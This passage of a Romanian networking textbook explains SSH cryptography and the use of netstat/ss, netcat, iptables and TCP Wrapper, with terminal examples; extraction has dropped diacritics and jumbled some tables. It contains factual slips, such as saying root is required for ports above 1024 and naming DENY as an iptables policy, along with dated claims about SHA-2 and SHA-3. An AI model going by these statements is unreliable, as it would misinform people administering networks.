Acesta este folosit ndeosebi pentru accesul sigur la distan, permind execuia de comenzi pe maina accesat sau transfer de fiiere. Exist dou versiuni majore ale protocolului: SSH-1 (are vulnerabiliti majore) i SSH-2 care este descris n RFC4250 [6], RFC4251 [7], RFC4252 [8], RFC4253 [9], RFC4254 [10], RFC4255 [11], RFC4256 [12], RFC4335 [13], RFC4344 [14], RFC4345 [15]. Cartea va aborda n continuare versiunea 2 a protocolului. SSH a fost conceput pentru a nlocui rlogin, rsh i telnet pentru a asigura securizarea conexiunii dintre dou staii ce comunic ntr-o reea nesigur, aa cum este Internetul. Prin canalul oferit pot fi redirectate i conexiuni X11 i porturi arbitrare ale protocoalelor de nivel 4 din stiva TCP/IP, orice comunicaie nesigur putnd fi securizat. SSH utilizeaz ca protocol de nivel transport TCP-ul, componenta server ascultnd pe portul 22. Confidenialitatea, n cadrul protocolului SSH, este asigurat prin criptarea datelor de transmis. Criptografia reprezint procesul de transformare a unui text clar ntr-un text cifrat. Ea st la baza multor servicii i mecanisme de securitate folosite n Internet, folosind metode matematice pentru transformarea datelor, cu intenia de a ascunde coninutul lor sau de a le proteja mpotriva modificrii. Criptarea unui mesaj este realizat cu ajutorul unei chei secrete, folosind un algoritm asociat. Versiunea criptat a mesajului poate fi citit de destinatar numai dac acesta posed cheia secret i algoritmul de decriptare. Exist dou tipuri de sisteme criptografice:

224 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e simetrice (cu chei secrete), care folosesc aceeai cheie att la criptarea ct i la decriptarea mesajelor. asimetrice (cu chei publice/private), care folosesc chei distincte de criptare i decriptare. Una din chei este inut secret i este cunoscut doar de proprietarul ei (cheia privat). A doua cheie (perechea ei) este fcut public, fiind dificil de obinut matematic o cheie din cealalt. Criptografia cu chei publice/private funcioneaz n modul urmtor: o persoan care dorete s primeasc mesaje secrete deine dou chei, una public i una privat. Cheia public poate fi afiat pe pagina Web personal sau fcut public printr-un alt mijloc, aceasta putnd fi vzut de ctre oricine. Cheia privat, n schimb, va fi inut secret pe staia local. Dac n aceste condiii cineva va dori s trimit mesaje secrete acestei persoane, va lua cheia public afiat pe pagina Web personal i va cripta mesajul. Cnd mesajul va ajunge la destinaie, persoana ce deine cheia privat (perechea cheii publice care a fost utilizat n criptarea mesajului trimis) va decripta mesajul cu ajutorul acesteia. n absena cheii private mesajul nu va putea fi decriptat, astfel nct numai destinatarul lui de drept l va putea citi. Protocolul SSH folosete algoritmi de criptare simetric, pentru a oferi confidenialitate mesajelor: AES (Advanced Encryption Standard), 3DES (Triple Data Encryption Standard), IDEA, DES, ARCFOUR, BLOWFISH, TSS. 3DES este o cea mai popular variant, necesitnd o cheie comun pe 168, 112 sau 56 de bii (cu ct cheia e mai lung, criptarea este mai puternic, dar dureaz mai mult). Se pune problema partajrii cheii comune. Nu se poate trimite cheia pe canalul de comunicaie, ntre cele dou entiti, deoarece poate fi interceptat i compromis. Trebuie stabilit o cheie comun, fr ca aceasta s fie transmis pe canal, folosind algoritmul Diffie-Hellman Key Exchange, prezentat n Fig. 7-4.

7-4 Algoritm Diffie-Hellman Serverul ine o list de perechi (p,g) cu proprieti matematice speciale. p este un numr prim sigur (are forma p = 2*q + 1, unde q este numr prim), iar g este rdcin primitiv (mod p), adic pentru fiecare numr a prim cu p, exist un k cu proprietatea gk = a (mod p). Clientul face o cerere, pentru a primi perechea de numere (p,g). Fiecare genereaz cte un numr aleator i calculeaz expresia gx mod p, unde x este numrul generat aleator (n exemplul din figur sunt valorile a i b).

S e c u r i z a r e a r e e l e i | 225 Clientul i serverul i trimit unul altuia valorile calculate, iar fiecare la rndul lui calculeaz cheia simetric, ridicnd numrul primit la valoarea generat aleator ((ga mod p) b mod p = (gb mod p)a mod p). Astfel ambele vor avea aceeai cheie, fr ca aceasta s fie transmis efectiv pe canalul de comunicaie. SSH suport dou moduri de autentificare: prin parol prin chei asimetrice La autentificarea prin parol, aceasta este trimis serverului, dup stabilirea unui canal criptat cu Diffie-Hellman. Astfel, parola este transmis printr-un canal criptat, iar serverul va decripta parola pentru a valida autentificarea. n caz c serverul este compromis, parola va fi descoperit. Pentru a elimina acest neajuns, se folosete autentificarea folosind cheile asimetrice (publice/private). Astfel, dup ce se realizeaz canalul criptat cu Diffie-Hellman, serverul trimite clientului un string aleator. Clientul va cripta stringul aleator cu cheia lui privat (numai de el tiut) i trimite napoi stringul criptat. Serverul l decripteaz folosind cheia lui public, iar dac rezultatul obinut n urma decriptrii este identic cu stringul trimis, atunci clientul este autentificat (cheia public putnd decripta doar mesajele criptate cu perechea ei, cheia privat). Dup autentificare, schimbul de mesaje se realizeaz folosind chei simetrice deoarece cheile asimetrice sunt ineficente n operaiile de criptare/decriptare, iar impactul asupra traficului este mult prea mare. Aadar, n cadrul protocolului SSH, autentificarea se face prin chei asimetrice, confidenialitatea asigurndu-se prin chei simetrice. Una dintre metodele de autentificare, folosind chei asimetrice, folosit de protocolul SSH este bazat pe algoritmul RSA (Rivest-Shamir-Adleman), publicat nc din 1977 [15].

7-5 Asigurarea integritii mesajelor Pentru ca protocolul SSH s asigure conexiuni sigure, acesta trebuie s ofere i integritatea datelor transmise (s ajung nemodificate la destinaie). Integritatea se poate realiza printr-un rezumat (digest/hash) al mesajului, funcie realizat prin MAC (Message Authentication Code), fiind un hash care folosete o cheie. Algoritmii de hashing folosii sunt MD5 i SHA-1. Ambii algoritmi au vulnerabiliti. Exist i algoritmul SHA-2, dar nu este disponibil n protocolul SSH. SHA-3 este n dezvoltare, fiind preconizat anul 2012 pentru finalizare (la scrierea acestei cri nu era definitivat).

226 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

n Fig. 7-5 este prezentat modul cum se verific integritatea unui mesaj, folosind o cheie secret comun. Exemplele de utilizare a programelor-client, ce folosesc protocolul SSH, cu toate facilitile acestuia, se gsesc n seciunea de utilitare. n cadrul studiului de caz, va fi prezentat modul de instalare i configurare a unui server SSH.

7.4 Utilitare
n acest subcapitol, se vor prezenta utilitare prin care: se pot vedea porturile folosite pe un calculator. se simuleaz o aplicaie client/server. se realizeaz filtrri de pachete folosind un firewall. este implementat protocolul SSH.

7.4.1 Linux
netstat/ss
netstat este un utilitar prin care se pot vedea informaii despre subsistemul de reea, n sistemul de operare Linux. Tipul informaiilor afiate este controlat prin primul parametrul, dup cum urmeaz: nici unul o list de conexiuni descrise. Dac nu este specificat tipul de adresare (Ipv4 sau Ipv6), atunci vor fi afiate conexiunile active pentru tipurile de adresare configurate:
root@HQ:~# netstat Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address tcp 0 0 localhost:mysql tcp 0 0 HQ.ro:ssh tcp 0 0 localhost:34374 tcp 0 0 localhost:51132 [...] Active UNIX domain sockets (w/o servers) Proto RefCnt Flags Type State unix 2 [ ] DGRAM [...] Foreign Address localhost:51132 79-117-24-159.rds:50514 localhost:www localhost:mysql I-Node 3530 State ESTABLISHED ESTABLISHED TIME_WAIT ESTABLISHED

Path /var/spool/postfix/dev/log

--route afieaz tabela de rutare (echivalent ip route):


Genmask 255.255.255.224 255.255.255.224 255.255.255.192 255.255.255.192 0.0.0.0 Flags U U U U UG MSS 0 0 0 0 0 Window 0 0 0 0 0 irtt 0 0 0 0 0 Iface eth3 eth1 eth3 eth0 eth0

root@HQ:~# netstat --route Kernel IP routing table Destination Gateway 192.168.254.128 * 192.168.254.0 * localnet * 86.122.60.0 * default 86.122.60.1.con

--groups afieaz grupurile multicast --interfaces afieaz interfeele de reea. --masquerade afieaz toate adrese pentru care se face NAT (vezi capitolul Alterarea pachetelor) --statistics statistici pentru fiecare protocol n parte.

Cel mai adesea, netstat se folosete pentru a vedea porturile pe care ascult diverse servicii. n momentul n care nu v putei conecta pe un server la un serviciu (HTTP, SSH), primul pas este s verificai dac serviciul ascult pe portul asociat. Pentru a afia doar porturile pe care ascult o staie se poate folosi parametrul --listening (-l).

S e c u r i z a r e a r e e l e i | 227

root@HQ:~# netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:https *:* LISTEN tcp 0 0 *:www *:* LISTEN tcp 0 0 *:ftp *:* LISTEN tcp 0 0 *:ssh *:* LISTEN tcp 0 0 *:smtp *:* LISTEN [...] udp 0 0 localhost:domain *:* [...] Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 2450 @/com/ubuntu/upstart unix 2 [ ACC ] STREAM LISTENING 7482 /var/run/clamav/clamd.ctl [...]

Se observ c n prima seciune sunt afiate serviciile care accept conexiuni din Internet/reea (Active Internet connections). n a doua seciune sunt afiate conexiunile folosite la comunicarea inter-proces, prin intermediul subsistemului de reea. n general se dorete afiarea tuturor serviciilor ce ascult pe anumit port, dar care folosesc un anumit protocol. Pentru acest lucru exist opiunile: --tcp (-t) - afieaz doar conexiunile ce folosesc ca protocol TCP-ul. Se observ mai jos c se pot combina mai multe opiuni, folosind forma lor prescurtat, iar ordinea nu conteaz (t este pentru --tcp, iar l pentru --listening). O alt observaie este legat de faptul c apare i protocolul tcp6, acest lucru semnificnd c protocolul de nivel reea folosit este Ipv6:
root@HQ:~# netstat -lt Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address tcp 0 0 *:https [...] tcp6 0 0 localhost:953 Foreign Address *:* [::]:* State LISTEN LISTEN

--udp (-u) - afieaz doar conexiunile ce folosesc ca protocol UDP-ul:


Foreign Address *:* *:* [::]:* State

root@HQ:~# netstat -lu Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address udp 0 0 *:49251 udp 0 0 *:mdns [...] udp6 0 0 [::]:domain

Dac se dorete s se afieze i numele programului (imaginea lui de pe disc) ce ascult pe un port i ofer acel serviciu, se poate folosi opiunea --program (-p) n combinaie cu celelalte opiuni prezentate. n acest caz, este obligatoriu ca netstat s se ruleze cu drepturi privilegiate, altfel nu va afia nimic n dreptul seciunii PID/Program name.
root@HQ:~# netstat -ltp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address tcp 0 0 *:https *:* [...] State LISTEN PID/Program name 1347/apache2

Se observ c pe portul https (443), programul care ascult este apache2, avnd PID-ul 1347. De asemenea, o alt observaie este legat de faptul c se folosesc nume, n loc de numere ( https n loc de 443, localhost n loc de 127.0.0.1). Aceast transformare n nume, poate fi evitat, pentru rapiditate, prin folosirea parametrului --numeric (-n):
root@HQ:~# netstat -ltpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address tcp 0 0 0.0.0.0:443 0.0.0.0:* [...] State LISTEN PID/Program name 1347/apache2

Transformarea numelor n adrese IP se face cu ajutorul DNS-ului (vezi capitolul Servicii de reea). Maparea ntre port/protocol i nume se face local, n sistemul de operare, n fiierul /etc/services. Dac se dorete s se vad, portul pe care ascult serviciul SSH i ce protocol se utilizeaz, cutm

228 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e numele ssh n fiierul respectiv. Se observ maparea cu portul 22 al protocolului de nivel transport TCP:
root@HQ:~# cat /etc/services | grep ssh ssh 22/tcp # SSH Remote Login Protocol

O dat cu evoluia nucleului sistemului de operare, au aprut alte utilitare cu ajutorul crora se pot monitoriza conexiunile dintr-un sistem, acestea fiind mult mai rapide. Un nlocuitor al lui netstat este ss. ss este mult mai rapid i ofer exact aceleai opiuni ca i netstat, modul n care este apelat fiind identic. Aadar este recomandat folosirea lui ss n locul lui netstat:
root@HQ:~# ss -ltpn Recv-Q Send-Q Local Address:Port Peer Address:Port 0 128 *:443 *:* users:(("apache2",1347,4),("apache2",3201,4),("apache2",3208,4),("apache2",3209,4),("apache2", 3210,4),("apache2",3303,4),("apache2",4519,4),("apache2",27075,4),("apache2",27086,4),("apache 2",27088,4),("apache2",27089,4),("apache2",30362,4)) [...]

Se observ c forma n care sunt afiate informaiile difer. De asemenea, n loc s afieze doar procesul principal, din care s-a pornit aplicaia i s-a deschis portul aferent, afieaz toate firele de execuie, ce fac parte din procesul iniial, fiecare avnd un alt PID. Al doilea numr, respectiv 4, este numrul descriptorului de fiier asociat conexiunii curente n procesul respectiv.

netcat (nc)
netcat (nc) este un utilitar cu ajutorul cruia se poate simula o aplicaie client-server, protocolul i portul folosite putnd fi configurate. Putei folosi interschimbabil nc i netcat, n general ambele fiind link-uri simbolice ctre acelai executabil (este configurabil, deci vor exista excepii). Dup rulare, se pot scrie mesaje text n terminale, acestea fiind transmise la cellalt capt. Serverul se simuleaz rulnd netcat cu opiune -l (listen), dup care specificm adresa IP pe care va asculta (din cele configurate pe interfee) i portul. Adresa IP poate fi omis, serverul ascultnd pe toate IP-urile configurate. Pentru a folosi porturi mai mari de 1024, trebuie s avei drepturi privilegiate (root). Pentru client, se ruleaz netcat, urmat de adresa IP a serverului i portul configurat. n exemplul urmtor, vom folosi adresa IP 86.122.60.17 pentru server i portul 666: server
root@HQ:~# netcat -l 86.122.60.17 666 ce faci?

client

root@A:~# nc 86.122.60.17 666 ce faci?

Orice mesaj scris la client sau la server, urmat de tasta Enter, va aprea la cellalt capt. nainte de a trimite mesajul ce faci?, s-a rulat utilitarul tcpdump, avnd ca filtru de selecie portul 666 (dst port 666) i opiunea prin care s afieze coninutul pachetelor capturate (-X):
root@HQ:~# tcpdump dst port 666 -X tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 17:10:04.671900 IP A.61047 > HQ.666: Flags [P.], seq 128857460:128857469, ack 27922159, win 1795, options [nop,nop,TS val 97953349 ecr 754844774], length 9 0x0000: 4500 003d e473 0000 3706 9d9a 8d55 e1cc E..=.s..7....U.. 0x0010: 567a 3c11 ee77 029a 07ae 3574 01aa 0eef Vz<..w....5t.... 0x0020: 8018 0703 f940 0000 0101 080a 05d6 a645 .....@.........E 0x0030: 2cfe 0466 6365 2066 6163 693f 0a ,..fce.faci?.

Se observ c pachetul trimis de la A la HQ (de la client la server) nu este criptat, n coninutul acestuia aprnd mesajul trimis (ce faci?). Un exemplu de utilizare al netcat este atunci cnd vrem s simulm o conexiune ntre dou puncte, pe un anumit port, cu scopul de a vedea dac acel port este filtrat/blocat.

S e c u r i z a r e a r e e l e i | 229

iptables
iptables este un utilitar, cu care se pot aduga reguli de filtrare i alterare a pachetelor, exclusiv pentru Linux, acesta fcnd parte din proiectul Netfilter [16]. iptables permite unei
maini Linux s:

filtreze pachete. translateze adrese (s schimbe adresa de nivel 3 cu o alta). rescrie cmpuri n antetul pachetelor. iptables introduce noiunea de tabel, pentru fiecare funcie de mai sus, existnd cte un tabel predefinit, n care se adaug reguli: filter conine reguli care spun ce trafic poate s treac i ce trafic trebuie blocat (de exemplu dorim ca toate conexiunile SSH s fie acceptate, iar cele TELNET s fie blocate pentru a nu permite conexiuni nesigure din reea) nat conine reguli pentru translatarea adreselor, permind calculatoarelor cu adrese private din reea s acceseze Internetul prin rescrierea cmpului IP surs din antet, cu un IP surs rutabil. mangle conine reguli de alterarea a pachetelor (pot fi modificate diferite cmpuri ale antetelor). n aceast seciune vom insista pe filtrarea pachetelor, translatarea i alterarea pachetelor fiind descris pe larg n capitolul Alterarea pachetelor. Firewall-ul se configureaz prin scriere de reguli iptables. O regul are dou seciuni principale: selecie se specific ce trafic va fi preluat, pe baza cmpurile din antete. aciune ce se ntmpl cu pachetele selectate (sunt acceptate, ignorate sau se modific).

7-6 iptables fluxul de trafic Traficul, de pe un ruter Linux, este mprit de iptables n mai multe tipuri, aceste tipuri purtnd numele de lanuri (chains). Dup specificarea tabelului, trebuie specificat lanul, dup cum urmeaz:

230 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e INPUT traficul care se adreseaz mainii locale (pe care se adaug regulile). OUTPUT traficul ce are ca origine (este generat de) maina local. PREROUTING traficul nainte de procesul de rutare (nainte s se stabileasc pe ce interfa va pleca). POSTROUTING traficul dup procesul de rutare (deja s-a stabilit interfaa pe care va pleca). FORWARD traficul ce va trece prin procesul de rutare, deci sigur nu este adresat staiei locale. Tabele i lanurile predefinite sunt n strns legtur, lanurile neexistnd n fiecare tabel. n Fig. 7-6, sunt prezentate lanurile cu tabelele n care se pot folosi. n continuare se va prezenta modul de configurare al unui firewall folosind iptables, pornind de la urmtorul exemplu:
root@HQ:~# iptables t filter A INPUT s 10.0.0.0/8 p tcp --dport 22 j DROP

Se observ c tabela se specific cu ajutorul parametrului t. n cazul de fa regula se va aduga n tabela filter. Dac nu se specific nici o tabel, cea implicit este filter. Deci comanda de sus este echivalent cu:
root@HQ:~# iptables -A INPUT -s 10.0.0.0/8 -p tcp --dport 22 -j DROP

Toate opiuni premise pentru parametrul t sunt: filter blocarea traficului dorit nat translatarea de adrese mangle alterarea pachetelor raw configurarea excepiilor de monitorizare a conexiunilor (nu face subiectul acestei cri). Toate opiunile de selecie prezentate n continuare, vor fi fcute pe tabela filter, celelalte dou tabele fiind prezentate pe larg n capitolul Alterarea pachetelor. Dup specificarea tabelei (dac este cazul), trebuie precizat lanul pentru selecia tipului de trafic. n exemplul dat, se folosete lanul INPUT pentru a selecta traficul destinat staiei HQ. INPUT poate fi nlocuit cu orice lan predefinit, acceptat de tabela filter. De exemplu, dac dorim s selectm traficul ce pleac de la staia HQ vom folosi lanul OUTPUT. ntr -un lan se pot aduga, terge, afia reguli. Acest lucru este controlat de parametrul folosit naintea lanului. n cazul de fa s-a folosit A ce are ca semnificaie adugare la sfritul listei de reguli. Operaiile posibile i semnificaia lor sunt, dup cum urmeaz: -A sau --append adugarea unei reguli la finalul listei. -D sau --delete tergerea unei reguli. -L sau --list afiarea regulilor adugate. Dac se omite specificarea lanului, sunt afiate regulile din toate lanurile existente n tabel. -F sau --flush tergerea tuturor regulilor. Dac se omite specificarea lanului, sunt terse regulile din toate lanurile. -N sau --new-chain crearea unui nou lan customizat n funcie de necesiti. De exemplu se dorete un lan ce selecteaz tot traficul ce tranziteaz firewall-ul, dar care are ca surs doar clasele de IP ale Google. Trebuie adugat o regul pentru fiecare clas de IP-uri ale Google. Dac la selecie s-ar dori adugarea unei destinaii, atunci pentru fiecare destinaie ar trebuie adugate cte o regul corespunztoare fiecrei clase de IP Google, astfel numrul de reguli se multiplic. Dac se folosete lanul creat, atunci va exista doar cte o regul pentru fiecare destinaie. Vom vedea n fragmentele urmtoare c numrul de reguli afecteaz n mod direct performana unui ruter. -X sau --delete-chain terge un lan creat anterior. Nu se pot terge lanurile predefinite.

S e c u r i z a r e a r e e l e i | 231 -P sau --policy specific politica implicit a unui lan. Politica implicit a unui lan se refer la aciunea pe care acesta o ia, n cazul n care un pachet nu corespunde nici unei reguli din lan. Valorile permise, dup specificarea lanului, sunt ACCEPT (dac nu poate fi selectat cu nici o regul este trimis mai departe) sau DENY (dac nu corespunde nici unei reguli, este blocat). Lanurile create de utilizator nu pot avea politic implicit. Dup specificarea tipului de trafic, selecia se poate face mai specific, dup informaiile din antetele pachetului. n exemplu de fa s-a dorit selecia pachetelor ce au ca surs un IP din clasa 10.0.0.0/8, acest lucru realizndu-se cu parametrul -s (surs). Parametri posibili sunt: -i urmat de inferfaa de intrare -o urmate de inferfaa de ieire -d urmat de adresa IP destinaie -s urmat de adresa IP surs. Opiunile prezentate anterior permit practic selectarea unui pachet dup informaiile din antetul de nivel reea (surs-destinaie). iptables extinde procesul de selecie, permind specificarea protocolui de nivel transport folosind parametrul p urmat de numele protocolului (tcp, udp sau icmp). Dup protocolul folosit, se poate specifica i portul surs sau destinaie folosind parametrii --sport (source port) i --dport (destination port). Pentru protocolul TCP, se pot face selecii i dup flag-urile ce sunt setate n cadrul antetului (SYN ACK FIN RST URG PSH) folosind opiunea --tcp-flags. Aceasta primete doi parametri: primul specific flag-urile ce vor fi analizate, separate de virgul, iar al doilea specific flag-urile ce trebuie s fie setate pentru ca pachetul s fie selectat). De exemplu, comanda urmtoare va selecta traficul ce folosete procolul TCP i are flag-ul SYN setat, iar restul flag-urile, ACK, FIN, RST nesetate (acesta este un exemplu cnd se dorete selecia pachetelor ce sunt folosite la deschiderea unei conexiuni):
root@HQ:~# iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST SYN

Selecia prezentat este foarte des folosit i de aceea iptables pune la dispoziie o form prescurtat i anume parametrul --syn, n loc de --tcp-flags. Astfel comanda anterioar este echivalent cu urmtoarea:
root@HQ:~# iptables -A FORWARD -p tcp --syn

Protocolul ICMP (-p ICMP), n cadrul comenzii iptables, ofer posibiliti de selecie n funcie de tipul pachetului ICMP (echo-request, echo-reply, time-excedeed), folosind parametrul --icmp-type urmat de unul din tipurile menionate anterior. Pentru a vedea toate opiunile unui protocol, se recomand folosirea comenzii: iptables -p nume_protocol -h sau consultarea paginilor de manual (man iptables). Dup cum s-a precizat la nceputul seciunii, o regul iptables are dou seciuni: una de selecie i una de aciune. Pn la parametrul j al regulii se afl partea de selecie, j specificnd aciunea ce trebuie ntreprins pentru pachetul selectat. Aciunea poate fi omis, caz n care nu se ntmpl nimic cu pachetul selectat, doar este incrementat un contor de selecie. n terminologia iptables, -j vine de la jump, iar ceea ce urmeaz dup el este un target, cele mai uzuale valori pentru tabela filter fiind: ACCEPT pachetul selectat este acceptat DROP pachetul selectat este blocat LOG adaug n log-urile sistemului o nregistrare ce descrie pachetul selectat. Pn n acest punct, s-a descris din ce e compus o regul iptables i cum o construim. Ce se ntmpl n momentul n care exist mai multe reguli n acelai lan? Cum sunt acestea parcurse pentru a vedea dac pachetul curent se potrivete cu vreuna din ele? Rspunsul este simplu: acesta parcurge regulile de sus n jos (ca i tabela de rutare) de la prima regul pn la ultima, verificarea fcndu-se secvenial. n momentul n care s-a gsit o regul ce poate selecta pachetul curent, se

232 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e aplic aciunea corespunztoare regulii, iar procesarea se termin (nu se mai verific i restul intrrilor din tabel). Aadar ordinea n care sunt regulile n lan conteaz, de aceea existnd dou opiuni de adugare: -A la sfritul listei i -I oriunde n list (dac nu se specific poziia, se adaug n capul listei). n Fig. 7-7 este prezentat un exemplu de parcurgere a regulilor din lanul FORWARD pentru un pachet dat.

7-7 iptables pacurgerea regulilor Ce se ntmpl cnd nicio regul nu selecteaz pachetul curent? S-a discutat anterior despre configurarea unei politici implicite. Aceasta este cea care se aplic n cazul n care nici o regul nu se potrivete. n mod implicit, politica este ACCEPT (toate pachetele se accept). Problem: se dorete s se blocheze tot traficul de la clasa de IP-uri 10.0.0.0/8 i de la 192.168.0.0/24, dar traficul de la clasa de IP-uri 10.0.1.0/24, ce face parte din 10.0.0.0/8 s fie acceptat. Vom bloca traficul de la clasele de IP-uri date, pe lanul FORWARD (este lanul prin care trec pachetele ce vin dinspre reea i trebuie rutate ctre exterior).
root@HQ:~# iptables -L FORWARD Chain FORWARD (policy ACCEPT) target prot opt source destination root@HQ:~# iptables -A FORWARD -s 10.0.0.0/8 -j DROP root@HQ:~# iptables -L FORWARD Chain FORWARD (policy ACCEPT) target prot opt source destination DROP all -- 10.0.0.0/8 anywhere root@HQ:~# iptables -A FORWARD -s 192.168.0.0/24 -j DROP root@HQ:~# iptables -L FORWARD Chain FORWARD (policy ACCEPT) target prot opt source destination DROP all -- 10.0.0.0/8 anywhere DROP all -- 192.168.0.0/24 anywhere

Se observ c regulile au fost adugate n ordine. Acum vom aduga o regul care s accepte traficul de la clasa 10.0.1.0/24:
root@HQ:~# iptables -A FORWARD -s 10.0.1.0/24 -j ACCEPT root@HQ:~# iptables -L FORWARD Chain FORWARD (policy ACCEPT) target prot opt source destination DROP all -- 10.0.0.0/8 anywhere DROP all -- 192.168.0.0/24 anywhere ACCEPT all -- 10.0.1.0/24 anywhere

Regula a fost adugat la sfrit i aceasta nu va avea nici un efect pentru c selecia se va opri la prima regul. Pentru a avea efect, trebuie tears i adugat la nceput.
root@HQ:~# iptables -D FORWARD -s 10.0.1.0/24 -j ACCEPT root@HQ:~# iptables -L FORWARD Chain FORWARD (policy ACCEPT) target prot opt source destination DROP all -- 10.0.0.0/8 anywhere DROP all -- 192.168.0.0/24 anywhere root@HQ:~# iptables -I FORWARD -s 10.0.1.0/24 -j ACCEPT root@HQ:~# iptables -L FORWARD Chain FORWARD (policy ACCEPT) target prot opt source destination

S e c u r i z a r e a r e e l e i | 233
ACCEPT DROP DROP all all all ---10.0.1.0/24 10.0.0.0/8 192.168.0.0/24 anywhere anywhere anywhere

Se observ i politica implicit a lanului FORWARD ca fiind ACCEPT (policy ACCEPT). O opiune recomandat cnd se afieaz coninutul unui lan este n (numeric) pentru c iptables s nu mai ncerce s rezolve numele (s nu mai fac cereri DNS vezi capitolul Servicii de reea), astfel execuia este mult mai rapid. Dac se dorete afiarea unor informaii suplimentare despre regulile introduse (de exemplu ce porturi surs/destinaie au fost folosite la scrierea regulii, cte pachete au fost selectate de o anumit regul), se poate folosi opiunea -v n combinaie cu -L. Acestea se pot scrie mpreun, chiar i cu -n, dar este obligatoriu ca L s fie ultimul, altfel iptables se va ntoarce cu o eroare, nu foarte sugestiv:
root@HQ:~# iptables -A FORWARD -s 172.16.10.0/24 -p tcp --sport 22 -j DROP root@HQ:~# iptables -nLv FORWARD iptables v1.4.4: Invalid rule number `FORWARD' Try `iptables -h' or 'iptables --help' for more information. root@HQ:~# iptables -nvL FORWARD Chain FORWARD (policy ACCEPT 59M packets, 19G bytes) pkts bytes target prot opt in out source destination 4 400 ACCEPT all -- * * 10.0.1.0/24 0.0.0.0/0 3 325 DROP all -- * * 10.0.0.0/8 0.0.0.0/0 10 1320 DROP all -- * * 192.168.0.0/24 0.0.0.0/0 5 523 DROP tcp -- * * 172.16.10.0/24 0.0.0.0/0

tcp spt:22

Trebuie menionat faptul c toate configurrile fcute cu iptables sunt n memoria Linuxului. Aadar, la un restart al sistemului de operare, toate aceste configurri se pierd, comenzile iptables trebuind executate din nou. iptables-save este un utilitar cu care se pot salva configurrile fcute ntr-un fiier, pentru ca apoi s fie folosit utilitarul iptables-restore pentru a reface coninutul tabelelor.
root@HQ:~# iptables -nL Chain INPUT (policy ACCEPT) target prot opt source Chain FORWARD (policy ACCEPT) target prot opt source destination destination

Chain OUTPUT (policy ACCEPT) target prot opt source destination ACCEPT all -- 10.0.1.0/24 0.0.0.0/0 DROP all -- 10.0.0.0/8 0.0.0.0/0 DROP all -- 192.168.0.0/24 0.0.0.0/0 DROP tcp -- 172.16.10.0/24 0.0.0.0/0 root@HQ:~# iptables-save > iptables_rules

tcp spt:22

S-au salvat regulile existente n fiierul iptables_rules. Se vor terge toate regulile existente folosind opiunea F (flush). Se poate observa c nu mai exist nici o regul:
root@HQ:~# iptables F root@HQ:~# iptables -nL Chain INPUT (policy ACCEPT) target prot opt source Chain FORWARD (policy ACCEPT) target prot opt source Chain OUTPUT (policy ACCEPT) target prot opt source

destination destination destination

Cu ajutorul lui iptables-restore se vor reface regulile, dup cum se poate observa mai jos.
root@HQ:~# iptables-restore < iptables_rules root@HQ:~# iptables -nL Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source Chain OUTPUT (policy ACCEPT) target prot opt source ACCEPT all -- 10.0.1.0/24 DROP all -- 10.0.0.0/8 DROP all -- 192.168.0.0/24 DROP tcp -- 172.16.10.0/24 destination destination 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0

tcp spt:22

234 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Un exemplu avansat de configurare, folosind porturi ale protocoalelor i modificri ale politicilor implicite, se gsete n seciunea Scenariu de utilizare.

TCP Wrapper
TCP Wrapper este un sistem de limitarea a accesului din reea/Internet la anumite servicii folosind liste de acces (access constrol lists ACL). Funcia lui este echivalent cu cea a aplicrii unei filtrri, folosind iptables, pe lanul de INPUT. Un avantaj al acesteia este faptul c serviciile se filtreaz dup nume, i nu dup portul pe care-l folosesc. Astfel dac se blocheaz portul 22, iar serverul ssh ascult pe portul 22000, accesul ctre acesta va fi liber dac limitarea se face dup port. Exist totui un dezavantaj major n folosirea TCP Wrapper: aplicaiile trebuie s fie compilate cu biblioteca libwrap.so. Pentru a verifica acest lucru, pentru serviciul de ssh de exemplu, se procedeaz n felul urmtor:
root@HQ:~# whereis sshd sshd: /usr/sbin/sshd /usr/share/man/man8/sshd.8.gz root@HQ:~# ldd /usr/sbin/sshd linux-vdso.so.1 => (0x00007fff4fe44000) libpam.so.0 => /lib/libpam.so.0 (0x00007fa1b10a1000) libdl.so.2 => /lib/libdl.so.2 (0x00007fa1b0e9d000) libcrypto.so.0.9.8 => /lib/libcrypto.so.0.9.8 (0x00007fa1b0b0c000) libutil.so.1 => /lib/libutil.so.1 (0x00007fa1b0909000) libz.so.1 => /lib/libz.s o.1 (0x00007fa1b06f2000) libnsl.so.1 => /lib/libnsl.so.1 (0x00007fa1b04d7000) libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007fa1b029e000) libresolv.so.2 => /lib/libresolv.so.2 (0x00007fa1b0085000) libc.so.6 => /lib/libc.so.6 (0x00007fa1afd01000) /lib64/ld-linux-x86-64.so.2 (0x00007fa1b12bb000)

Se poate observa c acest serviciu, nu a fost compilat cu libwrap.so. Fiierele folosite pentru configurare sunt /etc/hosts.allow (pentru a specifica serviciile pentru care se accept conexiuni) sau /etc/hosts.deny (pentru a specifica serviciile pentru care nu se accept conexiuni). De menionat c mai nti se parcurge fiierul /etc/hosts.allow, dup care /etc/hosts.deny. Liniile din aceste fiiere au urmtorul format:
list_servicii : list_clieni

